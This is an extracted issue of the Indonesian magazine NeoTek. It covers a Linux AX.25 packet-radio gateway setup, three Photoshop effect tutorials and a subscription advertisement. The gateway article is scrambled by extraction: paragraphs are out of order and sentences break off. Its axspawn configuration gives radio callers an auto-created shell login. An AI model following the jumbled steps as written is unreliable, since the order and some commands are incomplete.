Konfigurasi port AX.25 dilakukan dengan mengedit isi file /etc/ax25/axports. Adapun format informasi yang harus diberikan adalah sebagai berikut portname callsign baudrate paclen window description Sebagai contoh: ax0 YB0ZZA-15 9600 256 2 1200bps 144.140 MHz Perhatikan bahwa baudrate 9600 adalah kecepatan serial antara Terminal Node Controller (TNC) ke PC, bukan kecepatan data di radio yang sebenarnya. Jika anda mempunyai lebih dari satu port maka anda perlu memasukan informasi dari masing-masing port ke dalam

Perintah /sbin/ifconfig untuk memberikan IP address ke sebuah interface di Linux, dalam hal ini interface ax0. Perintah /sbin/route untuk mengkonfigurasi routing TCP/IP. Perhatikan di tambahkan juga perintah /sbin/route add default ax0. Bagi anda yang mempunyai sambungan Internet nonpacket radio, perintah route add default akan berbeda sedikit dengan yang dicontohkan di atas agar semua paket ke Internet dapat di relay dengan benar. Gunakan perintah ping untuk mencek apakah hubungan komunikasi berjalan dengan baik atau tidak. Contohnya: $ ping -i 5 44.136.8.58

Mengoperasikan Gateway
Ada beberapa teknik mengoperasikan gateway, mulai dari yang paling sederhana seperti call station lain di jaringan radio hingga yang sangat kompleks seperti memberikan servis e-mail ke Internet. Beberapa hal berikut akan diterangkan, yaitu: 1. Call station amatir radio melalui AX.25. 2. Konfigurasi Linux untuk menerima call AX.25 3. Memberikan servis shell Linux melalui AX.25 4. Memberikan servis TCP/IP Internet di jaringan packet radio. Vol. IV No. 08 NeoTek
43

NeoTekno Call Station Amatir Radio Melalui AX.25
Untuk berhubungan/call sebuah stasiun amatir yang menggunakan protocol AX.25 dapat dilakuan melalui perintah call, seperti contoh di bawah ini: $ /usr/bin/call ax0 YC0GDF via YC0ZPV dalam contoh, kita berusaha call YC0GDF melalui relay/ digipeater YC0ZPV. /etc/ax25/ax25d.conf sebagai berikut: default * * * * * 1 root /usr/sbin/axspawn axspawn %u Jika di aktif kalimat kita beri karakter + maka user yang connect harus menekan tombol enter, sebelum mereka dapat logon. Default-nya tidak perlu menunggu. Pada saat axspwan beroperasi maka dia akan mencheck apakah callsign dari stasiun amatir radio tersebut adalah callsign yang legal. Kemudian mencek apakah user tersebut ada di /etc/passwd file ada dan apakah account tersebut telah di konfigurasi. Jika account user yang masuk telah ada, dengan password "" atau + maka user akan langsung login. Jika ada sesuatu di password field, maka user akan di tanyakan passwordnya. Jika user belum ada di file /etc/passwd, maka axspawn dapat di konfigurasi untuk secara automatis meng-create user dan mengkonfigurasi /etc/passwd. Proses konfigurasi axspwan dapat dilakukan melalui file konfigurasi /etc/ax25/axspawn.conf sebagai berikut:
# /etc/ax25/axspawn.conf # # allow automatic creation of user accounts create yes # # guest user if above is 'no' or everything else fails. Disable with "no" guest no # # group id or name for autoaccount group ax25 # # first user id to use first_uid 2001 # # maximum user id max_uid 3000 # # where to add the home directory for the new users home /home/ax25 # # user shell shell /bin/bash # # bind user id to callsign for outgoing connects. associate yes

Konfigurasi Linux Untuk Menerima Call AX.25
Linux adalah system operasi yang sangat tangguh dan kompleks, kita dapat mengkonfigurasi banyak hal/alternatif untuk menerima call dari AX.25. Kita dapat mengijinkan agar pengguna masuk ke Buletin Board System (BBS), atau masuk ke shell linux dll. AX.25 di Linux di lengkapi dengan software ax25d yang dapat mengatur apa yang harus dilakukan jika ada call dari AX.25, pada kesempatan ini akann di jelaskan: 1. Teknik konfigurasi /etc/ax25/ax25d.conf 2. Teknik menjalankan ax25d Teknik konfigurasi file /etc/ax25/ax25d.conf tidak terlalu sulit dan dapat dilakukan menggunakan text editor biasa. Pada dasarnya isi /etc/ax25/ax25d.conf mengatur program yang harus di eksekusi bagi pengguna AX.25 yang masuk. Adapun format yang digunakan adalah sbb:
# This is a comment and is ignored by the ax25d program. [port_name] || <port_name> || {port_name} <peer1> window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> <peer2> window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> parameters window T1 T2 T3 idle N2 <mode> <peer3> window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> ...

default window T1 T2 T3 idle N2 <mode> <uid> <cmd> <cmd-name> <arguments> Sekedar ilustrasi di bawah ini adalah contoh isi dari /etc/ax25/ax25d.conf
# /etc/ax25/ax25d.conf # # ax25d Configuration File. # # AX.25 Ports begin with a '['. # [YC0ATC VIA AX0] parameters 1 10 * * * * * NOCALL * * * * * * * L default 1 10 5 100 180 5 * root /usr/sbin/pms pms -a -o yc0atc # default * * * * * * * root /usr/sbin/axspawn %u + # default * * * * * * * root /usr/sbin/ttylinkd ttylinkd

Memberikan Servis TCP/IP di Amatir Radio
Pada dasarnya memberikan servis Internet (TCP/IP) di atas jaringan packet radio amatir tidak berbeda terlalu banyak dengan berbagai servis TCP/IP di Internet yang biasa. Hal yang membatasi servis di jaringan packet radio amatir adalah kecepatannya yang sangat rendah hanya 1200bps s/d 9600bps yang normal digunakan. Akibatnya kita biasanya membatasi servis sebatas e-mail atau chatting yang sangat lambat. Untuk memberikan servis e-mail di Linux Mandrake biasanya sudah tersedia paket software postfix & imap yang dapat memberikan servis SMTP, POP3 & IMAP. Biasanya saya akan membatasi besarnya e-mail yang masuk hanya sekitar 5-10Kbyte saja. Dengan demikian email yang besar akan bounced secara automatis. Detail teknik konfigurasi postfix, pop3 dan imap saya sarankan untuk membaca-baca manual di Internet. Penulis dapat dihubungi lewat email onno@indo.net.id

Jika konfigurasi /etc/ax25/ax25d.conf telah di lakukan, maka yang harus kita kerjakan adalah menjalankan perintah # /usr/sbin/ax25d

Memberikan Servis Shell Linux Melalui AX.25
Jika kita ingin memberikan servis shell (mirip dengan DOS Prompt kalau di Windows), hal ini dapat dilaukan melalui program axspawn. Melalui program axspawn, seseorang yang tersambung melalui AX.25 akan login ke mesin kita dan langsung menjalankan shell. Untuk itu kita perlu menggukana entry di
44

NeoTek Vol. IV No. 08

NeoStyle

PHOTOSHOP
EFEK LINE DENGAN FUNGSI PATTERN
Memberi efek pada foto apa saja menjadi suatu karya seni dengan beberapa langkah, Wawan Saprudin (Shinici12@yahoo.com) mengupas cara memanipulasi foto dengan efek line hasil fungsi dari Pattern.

di Photoshop ternyata tidak sesulit seperti yang dibayangkan oleh banyak orang, ternyata ada trik-trik yang mudah dipahami dapat menghasilkan foto yang memiliki nilai seni yang tidak kalah dengan menggunakan trik-trik yang sulit bahkan ngejelimet. Artikel berikut ini memberikan teknik untuk membuat efek line pada foto anda, pacar, maupun keluarga akan menjadi lebih menarik dikarenakan penerapan efek line pada foto menambah nilai seninya. Ayo... cepat dicoba, buktikan kehandalan Adobe Photoshop dalam memanipulasi foto-foto kesayangan yang anda miliki agar menjadi semakin indah.

M

EMBUAT EFEK-EFEK KHUSUS PADA FOTO

Penerapan fungsi Pattern memungkinkan pembentukan karya seni dari foto biasa.

1

NEW
Buka Photoshop. Lalu klik menu File>New. Pada kotak dialog yang muncul, isikan Width & Height dengan 2 pixels. Pilih opsi transparent pada Content, lalu klik OK. Akan muncul bidang gambar, perbesar hingga 1600%.

2

PENCIL TOOL
Pilih pencil tool pada pallete tool sebelah kiri, dan foreground colornya adalah hitam (black). Lalu warnai ½ bagian atas objek tadi sehingga tampak seperti gambar di atas.

3

DEFINE PATTERN
Selanjutnya menjadikan bidang gambar anda tadi menjadi Pattern, klik Edit>Define Pattern. Muncul popup menu Pattern Name, beri nama bidang gambar anda yang akan dijadikan sebagai salah satu Pattern. Pada contoh diberi nama Conan.

4

FILL
Kemudian buka foto yang akan diberikan efek, klik File>Open. Pada tahap ini, klik Edit>Fill. Muncul popup menu Fill, pilih opsi pengisian untuk Content: Use - Use Custom, Pattern: Blending - Opacity, seperti yang terlihat pada gambar di atas. Klik OK jika selesai.

5

HASIL EFEK
Anda sudah dapat tersenyum jika melihat pekerjaan yang dilakukan berhasil, perhatikan dengan seksama foto yang telah mendapat efek line. Lebih menarik bukan? Anda dapat membuat foto anda yang lain untuk diberi efek line, bila mungkin foto someone...

6

FOTO SEBELUMNYA
Masih belum percaya? Coba lakukan perbandingan dengan foto sebelumnya yang belum mendapat sentuhan efek line, tentu anda akan melihat perbedaan dan dapat memilih mana yang lebih menarik dipandangan mata.

Vol. IV No. 08 NeoTek

45

NeoStyle

PHOTOSHOP
EFEK SQUARE DENGAN FUNGSI PATTERN
Selain efek line, masih ada efek lainnya yang dapat dibuat atau ditambahkan masih dengan memanfaatkan fungsi Pattern. MA Rody Candera (odyxb@bogor.net) membeberkannya kepada anda hingga menjadi Tips mudah memanipulasi foto dengan Pattern menjadi bertambah.

pada foto dengan memanfaatkan fungsi Pattern di Photoshop. Selesai dengan efek line, sekarang anda diajak untuk membuat efek square (petak alias persegi empat). Tetapi nantinya tidak membuat wajah yang tampan atau cantik ikutan menjadi petak, justru akan membuat penampilan diri anda di foto makin bertambah menarik, tenang saja... dan ini bukan iklan lho... Jika anda sudah mengikuti artikel yang sebelumnya dengan baik, maka untuk yang ini makin cepat anda mengerti karena yang dituturkan pada bahasan ini tidak berbeda tetapi yang menjadi pokok bahasan ada sedikit gaya baru.

M

ASIH MENGENAI PEMBUATAN EFEK

Penerapan fungsi Pattern memungkinkan pembentukan karya seni dari foto biasa.

1

NEW
Aktifkan Photoshop. Lalu klik menu File > New. Pada kotak dialog yang muncul, isikan Width & Height dengan 10 pixels. Pilih opsi transparent pada Content, lalu klik OK. Akan muncul bidang gambar, perbesar hingga 1600%.

2

PENCIL TOOL
Pilih pencil tool pada pallete tool sebelah kiri, dan foreground colornya adalah hitam (black). Buatlah gambar persegi empat dengan menggunakan pencil tool seperti yang tampak pada gambar di atas.

3

DEFINE PATTERN
Selanjutnya menjadikan bidang gambar anda tadi menjadi Pattern, klik Edit > Define Pattern. Muncul popup menu Pattern Name, beri nama bidang gambar anda yang akan dijadikan sebagai salah satu Pattern. Pada contoh diberi nama Conan2.

4

FILL
Kemudian buka foto yang akan diberikan efek, klik File > Open. Pada tahap ini, klik Edit > Fill. Muncul popup menu Fill, pilih opsi pengisian untuk Content: Use - Use Custom, Pattern: Blending - Opacity, seperti yang terlihat pada gambar di atas. Klik OK jika selesai.

5

HASIL EFEK
Lihatlah dampak yang ditimbulkan dari efek yang anda buat tadinya, tampak gambar menjadi lebih berkesan cantik, aktraktif, dan dinamis.

6

FOTO SEBELUMNYA
Silakan anda melakukan perbandingan antara foto asal yang belum tersentuh efek dengan foto yang telah mendapat sentuhan efek.

46

NeoTek Vol. IV No. 08

NeoStyle

PHOTOSHOP
MEMBUAT EFEK BLUR PADA FOTO
Sebelumnya merupakan bahasan mengenai pembuatan efek line dan square, maka untuk memperlengkap artikel mengenai membuat efek untuk foto dengan Adobe Photoshop, MA Rody Candera (odyxb@bogor.net) menyajikan Efek Blur untuk pembaca setia NeoTek.

Photoshop cukup diacungi jempol karena memang betul-betul good. Anda setuju bukan... Masih dengan tips mudah dan langkahlangkah pembuatan yang gampang dicerna untuk memberikan efek untuk foto anda, berikut ini merupakan bahasan yang sedikit lebih panjang dari bahasan yang sebelumnya, tetapi anda tetap bisa mengikutinya. namanya juga tips... Jadi tidak perlu repot-repot mikirin bagaimana cara memanipulasi foto biar menjadi bagus, lakukan segera. rasakan dan buktikan sendiri... Jangan hanya melihat-lihat saja. Ikuti langkah-langkah yang dijelaskan bahasan kali ini, dijamin asyik.

U

NTUK URUSAN EFEK-EFEK, ADOBE

Penerapan fungsi Blur membuat foto biasa menjadi foto yang memiliki karya seni.

Klik kanan disini untuk memunculkan popup menu

1

OPEN FOTO FILE
Buka file foto yang telah dipersiapkan dengan meng-klik File > Open. Pada popup menu Open, pilih file foto yang akan dijadikan bahan percobaan.

2

DUPLICATE LAYER
Pada menu Layer, lakukan klik kanan untuk memunculkan popup menu dan kemudian pilih Duplicate Layer.

3

DUPLICATE LAYER
Pada popup menu Duplicate Layer, beri nama Radial. Biarkan saja opsi lainnya dan langsung klik tombol OK.

Create New Channel

Hasil Create New Channel

4

RADIAL BLUR
Selanjutnya klik Filter > Blur > Radial Blur. Pada popup menu Radial Blur, tentukan untuk tiaptiap opsi seperti yang terlihat pada gambar di atas. Hal ini dilakukan untuk memberikan efek blur pada foto anda.

5

HASIL EFEK 1
Perhatikan gambar di atas yang merupakan hasil efek dari Radial Blur, tetapi pekerjaan belum selesai karena itu bukan hasil akhir yang kita harapkan. Tekan Ctrl+A kemudian Ctrl+C

6

CREATE NEW CHANNEL
Pada window channel, klik tombol Create New Channel. Tekan Ctrl+V (paste) pada keyboard.

Vol. IV No. 08 NeoTek

47

NeoStyle
Hasil Load Selection & Inverse

Load Selection

7

HASIL EFEK 2
Gambar di atas merupakan hasil efek yang dilakukan mulai dari proses copy sampai ke paste pada new channel, tetapi belum berakhir karena ini juga bukan hasil akhir yang diharapkan.

8

LOAD SELECTION
Pada menu Window Channel, klik tombol Load Selection. Kemudian pada menu klik Select > Inverse. Apa yang terjadi? seperti yang diperlihat pada latar belakang pada gambar di atas. Kemudian tekan Backspace pada Keyboard.

9

WINDOW LAYER
Kembali ke window Layer dan pilih Radial Layer. Lakukan Desselect karena akan dimulai untuk memodifikasi efek pada foto. Pilih Eraser Tool, tapi sebelumnya turunkan nilai Opacity sampai 50%.

10

ERASER TOOL
Eraser tool diperlukan untuk membersihkan objek utama foto dari efek blur sehingga efek blur terlihat hanya sebagai latar belakang saja, lalu kembalikan nilai Opacity menjadi 100%. Lihat gambar di atas untuk lebih jelasnya.

11

LEVELS 1
Selanjutnya klik Image > Adjustments > Levels. Anda akan dihantarkan pada popup menu Levels, didalamnya terdapat banyak opsi yang dapat anda lakukan untuk menimbulkan efek yang ditimbulkan.

12

LEVELS 2
Pada opsi Channel di popup menu Levels, anda dapat memilih opsi yang tersedia dan melakukan perubahan terhadap nilai inputnya. Pilihan tidak hanya dapat dilakukan satu kali saja, melainkan dapat berulang kali.

13

LEVELS 3
Lakukan pengubahan nilai input sampai anda menemukan pencampuran warna terhadap blur sesuai dengan selera. Jika belum sesuai, kembali lakukan pengubahan nilai input.

14

HASIL EFEK AKHIR
Gambar di atas merupakan hasil efek akhir yang sebenarnya diharapkan. Anda perhatikan gambar dengan seksama, terlihat begitu cantik bukan?

15

MENAMBAHKAN EFEK LAIN
Anda juga dapat menambahkan efek lain seperti efek Pattern yang telah dijelaskan sebelumnya, seperti yang diperlihatkan gambar di atas...

48

NeoTek Vol. IV No. 08

NeoStyle

Iklan visionnet

Ketinggalan Membaca NeoTek?
hacking, security, programming, maupun sekedar memanfaatkan software pada dasarnya tidak akan pernah basi dan layak dikoleksi. Tetapi bagaimana apabila anda barubaru ini saja tahu adanya NeoTek, atau edisi lama NeoTek ataupun CDnya hilang, dipinjam tidak dikembalikan, ataupun rusak? Dapatkan di Pameran NeoTek selalu hadir di pameran-pameran M komputer di Jakarta. (Mega Bazaar Computer, Festival Komputer Indonesia, dan IndoComtech). Dapatkan Langsung Cara pasti adalah mendapatkan langsung dari NeoTek dengan menghubungi:
PT NeoTek Maju Mandiri Gedung Cahaya Palmerah 503 Jl. Palmerah Utara III/9 Jakarta 11480 Telp. 021-5481457, Fax. 021-5329041 M email: redaksi@neotek.co.id (Marni)

N

OTEK DENGAN ARTIKEL-ARTIKEL

Aswan Bakri BCA KCP Rawamangun No. rek. 0940544131

NeoTek di stockist dijual dengan cover price sebagai berikut:
Vol. I (tanpa CD) No. 1 s/d 9, Rp6500,Vol. I (tanpa CD) No. 10 s/d 12, Rp9500,Vol. II (+CD) No. 1 s/d 12, Rp19.500,Vol. III (+CD) No. 1 s/d 12, Rp19.500,Vol. IV (+CD) No. 1 s/d 3, Rp19.500,Vol. IV (+CD) No. 4 dst., Rp20.000,- (P. Jawa) dan Rp22.000,- (Luar P. Jawa)

Dapatkan dari Stockist Untuk yang berada di luar Jakarta, menghubungi NeoTek di Jakarta akan membawa kerepotan selain juga harus menanggung ongkos kirim. Untuk itu NeoTek tersedia di beberapa kota sbb:
Bandung CV Angkasa Jl. Merdeka No. 6 Bandung 40111 Tel. 021-4204795, 4208955 Fax. 022-4239183 Semarang Lestat Jl. Kaligarang 2B Semarang 50237 Tel. 024-8411489 Fax. 024-8445211 Surabaya Toko Buku URANUS Jl. Ngagel Jaya 89-91 Surabaya Tel. 031-5681388 Gorontalo Arbyn Dungga Jl. Prof. Dr. Aloei Saboe No 54, Heledulaa Selatan, Gorontalo 96114, Propinsi Gorontalo

Berlangganan Untuk menjamin bahwa anda tidak lagi ketinggalan edisi NeoTek, paling baik berlangganan. Untuk itu hubungi:
KRISHNAdiSTRIBUTOR Tel. (021) 5835 0080 HP. (0816) 1187 111 (Boedi) email: krishnadistributor@neotek.co.id Kontak: Boedi Krishnadi BCA No. rek. 342-239-1611 . Harga NeoTek+CD mulai edisi IV/04: Rp20.000,- ( P. Jawa) Rp22.000,- (Luar P. Jawa) Ongkos kirim gratis untuk DKI Jakarta, sedangkan untuk luar DKI Jakarta, Rp6500,- per eksemplar.

Keuntungannya anda dapat memesan majalah+CD, majalah saja, atau CD saja, tetapi anda akan dibebani ongkos kirim, selain harus mengirim uang terlebih dahulu ke rekening:

Ingin Menjadi Stockist? Yang berminat berinvestasi sedikit dalam distribusi NeoTek, silakan hubungi pemasaran@neotek.co.id


				
DOCUMENT INFO
Shared By:
Categories:
Stats:
views:2083
posted:12/28/2009
language:Indonesian
pages:50